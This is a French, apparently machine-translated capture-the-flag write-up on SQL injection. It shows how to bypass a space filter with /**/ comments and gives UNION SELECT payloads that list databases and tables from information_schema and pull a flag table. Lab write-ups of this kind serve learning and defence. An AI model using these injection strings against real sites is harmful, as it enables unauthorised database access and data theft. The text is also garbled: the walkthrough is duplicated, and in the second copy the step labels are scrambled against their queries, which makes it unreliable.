La soi-disant injection SQL consiste à insérer des commandes SQL dans les soumissions de formulaires Web ou à saisir des noms de domaine ou des chaînes de requête pour les requêtes de page, incitant finalement le serveur à exécuter des commandes SQL malveillantes. Ensuite, je vais partager avec vous une simple injection SQL, jetons un coup d'oeil
La soi-disant injection SQL consiste à insérer des commandes SQL dans les soumissions de formulaires Web ou à saisir des chaînes de requête pour les noms de domaine ou les demandes de page, et finalement tromper le serveur. Exécuter des commandes SQL malveillantes. Plus précisément, il s'agit de la possibilité d'utiliser des applications existantes pour injecter des commandes SQL (malveillantes) dans le moteur de base de données principal en vue de leur exécution. Il peut obtenir des informations sur un site Web présentant des vulnérabilités de sécurité en saisissant des instructions SQL (malveillantes) dans un formulaire Web. que d'exécuter des instructions SQL comme prévu par le concepteur. Par exemple, de nombreux sites Web de cinéma et de télévision ont divulgué les mots de passe des membres VIP, principalement en soumettant des caractères de requête via des formulaires WEB. Ces formulaires sont particulièrement vulnérables aux attaques par injection SQL.
Entrez 1, 2 et 3 respectivement et il y aura des résultats correspondants
L'utilisation de ' signalera une erreur, donc
construit instructions SQL couramment utilisées : 1' et '1'='1
Aucune réponse Essayez 1' et '1'='2
Toujours pas de réponse, info-bulle, il devrait filtrer quelque chose, essayez de changer l'instruction SQL
1and1=1
peut afficher choses, après avoir jugé et filtré les espaces, nous avons utilisé /**/ pour remplacer les espaces
essayez 1'/**/'1'='1
Trouvé un résultat :
Puis construit l'instruction sql :
Déterminez quelles bases de données existent :
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
Vous pouvez voir les résultats :
Voir quels sont les tableaux de données :
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
J'ai trouvé la table flag, nous supposons qu'elle devrait être dans la base de données web1 et le champ est flag (en fait dans la base de données sur cette page)
Donc :
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
Je suis également un débutant. J'ai fait référence aux WP de nombreux experts. J'espère que vous signalerez d'éventuelles erreurs. après les avoir écrits. Merci !
Selon les invites de la page, qu'est-ce qui est filtré exactement....
Entrez 1, 2 et 3 respectivement pour obtenir ? les résultats correspondants
L'utilisation de ' signalera une erreur, donc
construit les instructions SQL couramment utilisées : 1' et '1'='1
Pas de réponse, essayez 1' et '1'='2
Toujours pas de réponse, info-bulle, ça devrait être en filtrant quelque chose, modifiez l'instruction SQL et essayez Try
1and1=1
pour afficher les choses Après jugement, les espaces sont filtrés.*/et/**
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
et avons trouvé le résultat :
Ensuite, construisez l'instruction sql :
Déterminez quelles bases de données existent :
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
Vérifiez quels tableaux de données sont présents :
Nous J'ai trouvé la table flag. Je suppose qu'elle devrait être dans la base de données web1 et que le champ est flag (en fait dans la base de données de cette page)
Donc :
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!